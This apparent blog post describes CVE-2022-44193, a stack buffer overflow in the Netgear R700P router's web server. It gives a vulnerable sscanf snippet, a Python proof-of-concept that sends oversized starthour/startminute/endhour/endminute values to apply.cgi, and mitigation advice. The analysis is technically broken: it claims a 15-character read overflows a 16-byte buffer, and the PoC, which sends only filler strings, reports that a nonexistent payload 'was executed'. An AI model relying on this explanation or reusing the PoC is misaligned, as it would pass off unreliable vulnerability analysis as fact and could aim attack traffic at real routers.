In this post, we will discuss the details of the recently disclosed vulnerability, CVE-2022-44193, affecting the Netgear R700P router with firmware version 1.3.1.64. This vulnerability is a buffer overflow in the /usr/sbin/httpd component of the firmware and can be triggered by sending specially crafted HTTP requests containing malicious starthour, startminute, endhour, and endminute parameters. The exploit could potentially enable an attacker to execute arbitrary code on the affected device.

Exploitation Details

The Netgear R700P is a popular AC230 Nighthawk smart WiFi router designed for homes and small offices. In firmware version 1.3.1.64, the web server binary (/usr/sbin/httpd) is vulnerable to a stack-based buffer overflow. This can be triggered through four different parameters: starthour, startminute, endhour, and endminute.

The exact point of vulnerability is in the sscanf function call within the web server binary when parsing the HTTP request. The vulnerability occurs due to the insufficient boundary checks when copying the values of the parameters into a fixed-length buffer. To exploit this vulnerability, an attacker would require network access to send a malicious HTTP request targeting the web server binary, which in many cases, may be restricted to local network access, but there have been some instances of routers being exposed to the internet.

Here is an example of the vulnerable code snippet

char hour_buf[16], minute_buf[16];
...
sscanf(request, "starthour=%15[^&]&startminute=%15[^&]&endhour=%15[^&]&endminute=%15[^&]&", hour_buf, minute_buf, hour_buf+8, minute_buf+8);
...

The above code snippet uses the %15[^&] format string in the sscanf function call, which reads up to 15 characters and stores them in the respective buffer. However, the buffers only have a capacity of 16 bytes, which means an attacker might be able to overflow these buffers with malicious input.

Proof of Concept Exploit

Here's a proof-of-concept Python snippet as a demonstration of how an attacker could exploit this vulnerability:

import requests

url = "http://<target IP>/apply.cgi"

# Replace <target IP> with the target router's IP address
data = {
    "starthour": "A" * 16,
    "startminute": "B" * 16,
    "endhour": "C" * 16,
    "endminute": "D" * 16
}

response = requests.post(url, data=data)

if response.status_code == 200:
    print("Request sent. If the target is vulnerable, the payload was executed.")
else:
    print("Exploit failed.")

Note: This proof-of-concept code is for educational purposes only. Do not use it without authorization on devices.

Vulnerability References and Mitigation

1. CVE-2022-44193 - Mitre
2. CVE-2022-44193 - NIST

To mitigate the risks associated with this vulnerability, Netgear users are encouraged to update their firmware to the latest version, which has security fixes for such vulnerabilities. Instructions for updating the firmware on Netgear devices can be found on the official Netgear support site.

In addition, users should also restrict access to the web-based management interface, as this would limit the attack surface area for any potential exploitation attempts. This can be accomplished by disabling remote management and only allowing trusted devices on the local network to access the router's configuration pages.

To summarize, CVE-2022-44193 is a critical buffer overflow vulnerability affecting Netgear R700P routers running firmware version 1.3.1.64. By sending specially crafted HTTP requests with malicious starthour, startminute, endhour, and endminute parameters, an attacker could potentially achieve arbitrary code execution. Users should update their router's firmware and follow best security practices to mitigate the risks associated with this vulnerability.

Timeline

Published on: 11/22/2022 14:15:00 UTC
Last modified on: 11/23/2022 18:51:00 UTC